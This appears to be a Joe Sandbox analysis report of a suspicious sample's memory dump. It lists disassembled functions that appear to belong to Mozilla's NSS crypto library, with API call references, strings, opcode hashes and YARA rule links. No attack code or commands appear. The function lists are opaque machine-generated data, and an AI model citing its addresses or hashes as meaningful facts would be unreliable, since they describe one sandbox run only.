Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulLastEncryptedPartLen = 0x%x$ hSession = 0x%x$ pLastEncryptedPart = 0x%p$ pulLastEncryptedPartLen = 0x%p$ (CK_INVALID_HANDLE)$C_EncryptFinal
API String ID: 1003633598-2178457252
Opcode ID: 7037f2dc39b0025665c045d44d019a18bc944fac7e672c1c3a84f76c9fb43d64
Instruction ID: 48dfc671a79e428a516b7a190fc5c31803551295454874b08f174d28ea596dc0
Opcode Fuzzy Hash: 7037f2dc39b0025665c045d44d019a18bc944fac7e672c1c3a84f76c9fb43d64
Instruction Fuzzy Hash: 0E31F431602154AFDB208F98DF4CB5A77B5EB4631DF044435E80897B12DB34BA49CBD1

Function 6C788DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C788E22
EnterCriticalSection.KERNEL32(?), ref: 6C788E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C788E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C788E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C788E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C788EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C788EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C788EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C788F00
free.MOZGLUE(?), ref: 6C788F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C788F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C788F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C788F5B
PR_Unlock.NSS3(?), ref: 6C788F72
PR_Unlock.NSS3(?), ref: 6C788F82

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: e4c227acf365f9651af40915d1f4747a03b335c55c84e76027dca5de30e03625
Instruction ID: 53bb757dcaf87ab12245cc339c40754e17b0856ff4376d05723d7dbfeb58a36a
Opcode Fuzzy Hash: e4c227acf365f9651af40915d1f4747a03b335c55c84e76027dca5de30e03625
Instruction Fuzzy Hash: 665127B2E022159FDB209F68CE8496AB7B9EF45358F15453AED089BB00E731ED44C7E1

Function 6C7ACE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C7ACE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C7ACEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C7ACED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C7ACEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C7ACF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C7ACF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C7ACF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C7ACF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C7ACF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C7ACFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C7ACFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C7ACFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C7ACFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C7AD007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C7AD021

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: d71861b3d45e424af87785eeb7c0594796b62e7ef0f97990e010552d3e1d2250
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 16312171B529112BEF0D509B6F2DBDF244A4B6630EF441138FD0AF67C1FAC59A1702AA

Function 6C880FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C881000

Part of subcall function 6C839BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C761A48), ref: 6C839BB3
Part of subcall function 6C839BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C761A48), ref: 6C839BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C881016

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

PR_Unlock.NSS3(?), ref: 6C881021

Part of subcall function 6C81DD70: TlsGetValue.KERNEL32 ref: 6C81DD8C
Part of subcall function 6C81DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C81DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C881046
PR_Unlock.NSS3(?), ref: 6C88106B
PR_Lock.NSS3 ref: 6C881079
PR_Unlock.NSS3 ref: 6C881096
free.MOZGLUE(?), ref: 6C8810A7
free.MOZGLUE(?), ref: 6C8810B4
PR_DestroyCondVar.NSS3(?), ref: 6C8810BF
PR_DestroyCondVar.NSS3(?), ref: 6C8810CA
PR_DestroyCondVar.NSS3(?), ref: 6C8810D5
PR_DestroyCondVar.NSS3(?), ref: 6C8810E0
PR_DestroyLock.NSS3(?), ref: 6C8810EB
free.MOZGLUE(?), ref: 6C881105

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 20e58db071378e3ab96b8d8fa165a6e23142d8334961c51cf5d0891d3c52fef8
Instruction ID: c68648bfbfec31e49407938fce6ced4a348bd8e3600e179bc65660232b309f74
Opcode Fuzzy Hash: 20e58db071378e3ab96b8d8fa165a6e23142d8334961c51cf5d0891d3c52fef8
Instruction Fuzzy Hash: 9631BCB9901402ABD7229F15EE46A45B7B1FF0136DB184535E80903F61EB32F978DBD2

Function 6C7C25F0 Relevance: 21.4, APIs: 8, Strings: 6, Instructions: 403stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7CA0A0: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C79A5DF,?,00000000,6C7728AD,00000000,?,6C79A5DF,?,object), ref: 6C7CA0C0
Part of subcall function 6C7CA0A0: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C79A5DF,?,00000000,6C7728AD,00000000,?,6C79A5DF,?,object), ref: 6C7CA0E8

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C2834
memcmp.VCRUNTIME140(00000000,00000020,00000020,?,?,?,?,?,?,?,?), ref: 6C7C284B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C2A98
memcmp.VCRUNTIME140(00000000,?,00000020,?,?,?,?,?,?,?,?,?,?), ref: 6C7C2AAF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C2BDC
memcmp.VCRUNTIME140(00000000,?,00000010,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7C2BF3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7C2D23
memcmp.VCRUNTIME140(00000000,?,00000010,?,?,?,?,?,?,?,?,?), ref: 6C7C2D34

Strings

manufacturer, xrefs: 6C7C285E
serial, xrefs: 6C7C2AC2
token, xrefs: 6C7C25FA
OQyl, xrefs: 6C7C25F7, 6C7C25FF, 6C7C2863, 6C7C2AC7, 6C7C2C0B
model, xrefs: 6C7C2C06
, xrefs: 6C7C2A8E, 6C7C2AAB

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: memcmpstrlen$strcmp
String ID: $OQyl$manufacturer$model$serial$token
API String ID: 2407968032-2449266256
Opcode ID: e63e1299f0f71f4dfb6db2212a4fdb1dd91327a74a7a6b6df505e8ddda6d2c06
Instruction ID: 6e030a02c4a0b1df8f85baa049b28581f38cf1612cd4d9d853bf425382707386
Opcode Fuzzy Hash: e63e1299f0f71f4dfb6db2212a4fdb1dd91327a74a7a6b6df505e8ddda6d2c06
Instruction Fuzzy Hash: 7802D0A1F0C3CA6EF7318722DA8CBD52AE05B1531CF4D25F5CA4D4BA93D2AC49899353

Function 6C7BEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C7BEE0B

Part of subcall function 6C7D0BE0: malloc.MOZGLUE(6C7C8D2D,?,00000000,?), ref: 6C7D0BF8
Part of subcall function 6C7D0BE0: TlsGetValue.KERNEL32(6C7C8D2D,?,00000000,?), ref: 6C7D0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7BEEE1

Part of subcall function 6C7B1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C7B1D7E
Part of subcall function 6C7B1D50: EnterCriticalSection.KERNEL32(?), ref: 6C7B1D8E
Part of subcall function 6C7B1D50: PR_Unlock.NSS3(?), ref: 6C7B1DD3

TlsGetValue.KERNEL32 ref: 6C7BEE51
EnterCriticalSection.KERNEL32(?), ref: 6C7BEE65
PR_Unlock.NSS3(?), ref: 6C7BEEA2
free.MOZGLUE(?), ref: 6C7BEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C7BEED0
PR_Unlock.NSS3(?), ref: 6C7BEF48
free.MOZGLUE(?), ref: 6C7BEF68
PR_SetError.NSS3(00000000,00000000), ref: 6C7BEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C7BEFA4
free.MOZGLUE(?), ref: 6C7BEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C7BF055
free.MOZGLUE(?), ref: 6C7BF060

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 8034aef395cdf0d80c23a7cc3d7ff3324e6022aa23a75d88642181effa17d4e3
Instruction ID: f40c75c7d403bf1e4fb6683cfb4846f901048a5a0a10af57ab979adbe410b002
Opcode Fuzzy Hash: 8034aef395cdf0d80c23a7cc3d7ff3324e6022aa23a75d88642181effa17d4e3
Instruction Fuzzy Hash: 54814FB5A00209AFEB109FA5DD45ADE77B9BF08318F544074F909A7B11E731E924CBE1

Function 6C784CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C784D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C784D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C784DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C784E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C784E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C784E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C784E85
DER_Encode_Util.NSS3(?,?,6C8D05A4,00000000), ref: 6C784EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C784F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C784F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C784F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C784F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C784F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C784FC8

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 0129e0cec2f8436e51a6cd100d3e88383dbd44b224626c21e379fed43f78a82d
Instruction ID: ac262cbec8a4569b5b20c569ac3139ab1b32e701c8abf289d83737bc8e4b4ae3
Opcode Fuzzy Hash: 0129e0cec2f8436e51a6cd100d3e88383dbd44b224626c21e379fed43f78a82d
Instruction Fuzzy Hash: BE81B471909301AFE711CF28DA54B5BB7E8AB84318F15893DFA58DB641E770EA04CB92

Function 6C780470 Relevance: 21.2, APIs: 14, Instructions: 206timeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C7804B7

Part of subcall function 6C7D0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7787ED,00000800,6C76EF74,00000000), ref: 6C7D1000
Part of subcall function 6C7D0FF0: PR_NewLock.NSS3(?,00000800,6C76EF74,00000000), ref: 6C7D1016
Part of subcall function 6C7D0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7787ED,00000008,?,00000800,6C76EF74,00000000), ref: 6C7D102B

PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C780539

Part of subcall function 6C7D1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C7788A4,00000000,00000000), ref: 6C7D1228
Part of subcall function 6C7D1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C7D1238
Part of subcall function 6C7D1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C7788A4,00000000,00000000), ref: 6C7D124B
Part of subcall function 6C7D1200: PR_CallOnce.NSS3(6C8D2AA4,6C7D12D0,00000000,00000000,00000000,?,6C7788A4,00000000,00000000), ref: 6C7D125D
Part of subcall function 6C7D1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C7D126F
Part of subcall function 6C7D1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C7D1280
Part of subcall function 6C7D1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C7D128E
Part of subcall function 6C7D1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C7D129A
Part of subcall function 6C7D1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C7D12A1

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C78054A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C78056D
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7805CA
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6C7805EA
PR_SetError.NSS3(FFFFE00C,00000000), ref: 6C7805FD
PR_SetError.NSS3(FFFFE07E,00000000), ref: 6C780621
PR_EnterMonitor.NSS3 ref: 6C78063E
PR_ExitMonitor.NSS3 ref: 6C780668
CERT_DestroyCertificate.NSS3(?), ref: 6C780697
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7806AC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7806CC
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7806DA

Part of subcall function 6C77E6B0: PORT_ArenaMark_Util.NSS3(00000000,?,00000000,?,?,6C7804DC,?,?), ref: 6C77E6C9
Part of subcall function 6C77E6B0: PORT_ArenaAlloc_Util.NSS3(00000000,00000088,?,?,00000000,?,?,6C7804DC,?,?), ref: 6C77E6D9
Part of subcall function 6C77E6B0: memset.VCRUNTIME140(00000000,00000000,00000088,?,?,?,?,00000000,?,?,6C7804DC,?,?), ref: 6C77E6F4
Part of subcall function 6C77E6B0: SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7804DC,?), ref: 6C77E703
Part of subcall function 6C77E6B0: CERT_FindCertIssuer.NSS3(?,?,6C7804DC,0000000B,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C77E71E

Part of subcall function 6C77F660: PR_EnterMonitor.NSS3(6C78050F,?,00000001,?,?,?), ref: 6C77F6A8
Part of subcall function 6C77F660: PR_Now.NSS3(?,?,?,00000001,?,?,?), ref: 6C77F6C1
Part of subcall function 6C77F660: PR_ExitMonitor.NSS3(?,?,?,00000001,?,?,?), ref: 6C77F7C8

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$ArenaArena_ErrorFree$Monitor$EnterPool$CriticalExitSectionfree$AlgorithmAlloc_CallCertCertificateClearDeleteDestroyFindGeneralizedInitIssuerLockMark_OnceTimeTime_UnlockValuecallocmemset
String ID:
API String ID: 2470852775-0
Opcode ID: 1b2964dc7ed28b9641a464dbbc4925aec8081ef0083f051ffc6b2015875cebc4
Instruction ID: cfd86ec0db00c402065cc29410dc2d74e21bdb8992c523601b1aa5e8d8eb4dda
Opcode Fuzzy Hash: 1b2964dc7ed28b9641a464dbbc4925aec8081ef0083f051ffc6b2015875cebc4
Instruction Fuzzy Hash: F261C271A063429FEB10DE68CE44F5B77E4AF84358F104538FA5997B91E730E918CBA2

Function 6C7B8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C7B9582), ref: 6C7B8F5B

Part of subcall function 6C7CBE30: SECOID_FindOID_Util.NSS3(6C78311B,00000000,?,6C78311B,?), ref: 6C7CBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C7B8F6A

Part of subcall function 6C7D0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7787ED,00000800,6C76EF74,00000000), ref: 6C7D1000
Part of subcall function 6C7D0FF0: PR_NewLock.NSS3(?,00000800,6C76EF74,00000000), ref: 6C7D1016
Part of subcall function 6C7D0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7787ED,00000008,?,00000800,6C76EF74,00000000), ref: 6C7D102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C7B8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C7B8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C89D820,6C7B9576), ref: 6C7B8FF9
DER_GetInteger_Util.NSS3(?), ref: 6C7B901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C7B903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7B9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C7B90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C7B90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C7B90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C7B912D
free.MOZGLUE(00000000), ref: 6C7B9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C7B9145

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 41e1abcde59acf8510e88ab6da4e11d6fa06e667cd3f1dfbf6e13308ee14cabf
Instruction ID: fcd3cc7da95981baf9e0a37aeb1a48ee6cb67be424829861df0b0a52c8d15df9
Opcode Fuzzy Hash: 41e1abcde59acf8510e88ab6da4e11d6fa06e667cd3f1dfbf6e13308ee14cabf
Instruction Fuzzy Hash: F751D3B1A042019BE710CF28DE8579AB7F8EFA4358F054939E858A7741E731E949CBD2

Function 6C7A25C0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetSlotList), ref: 6C7A25DD
PR_LogPrint.NSS3( pulCount = 0x%p,?), ref: 6C7A262A

Part of subcall function 6C8809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C880BAB
Part of subcall function 6C8809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C880BBA
Part of subcall function 6C8809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C880D7E

PR_LogPrint.NSS3( pSlotList = 0x%p,?), ref: 6C7A260F

Part of subcall function 6C8809D0: OutputDebugStringA.KERNEL32(?), ref: 6C880B88
Part of subcall function 6C8809D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C880C5D
Part of subcall function 6C8809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C880C8D
Part of subcall function 6C8809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C880C9C
Part of subcall function 6C8809D0: OutputDebugStringA.KERNEL32(?), ref: 6C880CD1
Part of subcall function 6C8809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C880CEC
Part of subcall function 6C8809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C880CFB
Part of subcall function 6C8809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C880D16
Part of subcall function 6C8809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C880D26
Part of subcall function 6C8809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C880D35
Part of subcall function 6C8809D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C880D65
Part of subcall function 6C8809D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C880D70
Part of subcall function 6C8809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C880D90
Part of subcall function 6C8809D0: free.MOZGLUE(00000000), ref: 6C880D99

PR_LogPrint.NSS3( tokenPresent = 0x%x,?), ref: 6C7A25F6

Part of subcall function 6C8809D0: PR_Now.NSS3 ref: 6C880A22
Part of subcall function 6C8809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C880A35
Part of subcall function 6C8809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C880A66
Part of subcall function 6C8809D0: PR_GetCurrentThread.NSS3 ref: 6C880A70
Part of subcall function 6C8809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C880A9D
Part of subcall function 6C8809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C880AC8
Part of subcall function 6C8809D0: PR_vsmprintf.NSS3(?,?), ref: 6C880AE8
Part of subcall function 6C8809D0: EnterCriticalSection.KERNEL32(?), ref: 6C880B19
Part of subcall function 6C8809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C880B48
Part of subcall function 6C8809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C880C76
Part of subcall function 6C8809D0: PR_LogFlush.NSS3 ref: 6C880C7E

PR_LogPrint.NSS3( *pulCount = 0x%x,?), ref: 6C7A2699
PR_LogPrint.NSS3( slotID[%d] = %x,00000000,?), ref: 6C7A26C5

Strings

pSlotList = 0x%p, xrefs: 6C7A260A
C_GetSlotList, xrefs: 6C7A25D8
pulCount = 0x%p, xrefs: 6C7A2625
*pulCount = 0x%x, xrefs: 6C7A2694
slotID[%d] = %x, xrefs: 6C7A26C0
tokenPresent = 0x%x, xrefs: 6C7A25F1

Memory Dump Source

